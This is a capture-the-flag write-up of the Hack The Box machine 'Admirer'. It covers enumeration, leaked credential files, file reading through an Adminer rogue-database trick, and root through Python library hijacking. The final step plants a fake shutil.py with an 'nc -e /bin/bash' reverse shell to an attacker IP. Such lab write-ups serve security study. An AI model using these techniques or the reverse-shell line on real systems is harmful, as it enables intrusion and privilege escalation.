
Admirer is a Linux machine rated as easy from Hack The Box, it consists on performing a great enumeration to find adminer running on the machine, then abuse a vulnerability to dump local files obtaining ssh access. Finally a python library path hijacking attack can be performed to obtain a root shell .
Enumeration
Running nmap :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sC -sV 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 12:20 CEST
Nmap scan report for 10.10.10.187
Host is up (0.16s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Browsing to port 80 we find the following page :
Going to robots.txt we find /admin-dir but when we try to access it we get 403 error.
We will run gobuster inside that directory to find hidden files :
1
2
3
gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/wordlists/dirb/big.txt -t 200 -x txt,php -q
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
The content of these two files is the following : contacts.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
credentials.txt
1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
Previously we saw port 21 was open so we can try those credentials to log into ftp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:noxious): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
ftp> get dump.sql
ftp> get html.tar.gz
After decompressing that html directory and inspecting its files I came accross the following php file inside utility-scripts: db_admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
I tried to do something with that credentials but fell into a rabbit hole, therefore I put my attention into that comment and tried to fuzz utility-scripts using gobuster :
1
2
gobuster dir -u http://10.10.10.187/utility-scripts -w /usr/share/wordlists/dirb/big.txt -t 200 -x php -q
/adminer.php (Status: 200)
This machine is running Adminer 4.6.2
Exploitation
Searching for Adminer exploits I came across this blog post
We need to create a local database and give it access so we can access from adminer, once inside we can dump any local file .
First we create a new database :
1
2
MariaDB [(none)]> CREATE DATABASE admirer;
Query OK, 1 row affected (0.000 sec)
Now we create a user :
1
2
MariaDB [(none)]> CREATE USER 'writeup'@'%' IDENTIFIED BY 'writeup';
Query OK, 0 rows affected (0.056 sec)
Then we give him full privileges and save it :
1
2
3
4
MariaDB [(none)]> GRANT ALL PRIVILEGES ON * . * TO 'writeup'@'%';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.000 sec)
Finally we select our database and create a new table :
1
2
3
4
MariaDB [(none)]> use admirer
Database changed
MariaDB [admirer]> create table test(data VARCHAR(255));
Query OK, 0 rows affected (0.271 sec)
In order to log in from remote hosts we need to change /etc/mysql/mariadb.conf.d/50-server.cnf bind-address to 0.0.0.0
We can restart the service and log in to adminer :
Then we can dump the index.php contents :
And by clicking select we are able to see them, finding a set of credentials for waldo :
We obtain access to the machine through ssh :
1
2
3
4
ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
Privilege Escalation
Running sudo -l with Waldo we find we can run a script:
1
2
3
waldo@admirer:~$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
By reading the contents of that script, we see that backup_web function calls a python script :
1
2
3
4
5
6
7
8
9
10
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
Inpsecting backup.py we see it is using shutil library :
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
By reading this article I found the privilege escalation could be done by performing a python library hijacking attack.
The current path is the following :
1
2
python3 -c 'import sys; print(sys.path)'
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
We will create a new directory where we will add our fake shutil.py with a netcat bind shell :
1
2
3
4
5
waldo@admirer:~$ mkdir fakelib
waldo@admirer:~$ cd fakelib/
waldo@admirer:~/fakelib$ cat shutil.py
import os
os.system("nc -e /bin/bash 10.10.14.50 443")
Now we modify the path :
1
waldo@admirer:~/fakelib$ sudo PYTHONPATH=~/fakelib /opt/scripts/admin_tasks.sh
Selecting option 6 of the script grants us a root shell :
1
2
3
4
5
6
7
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.187] 59518
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root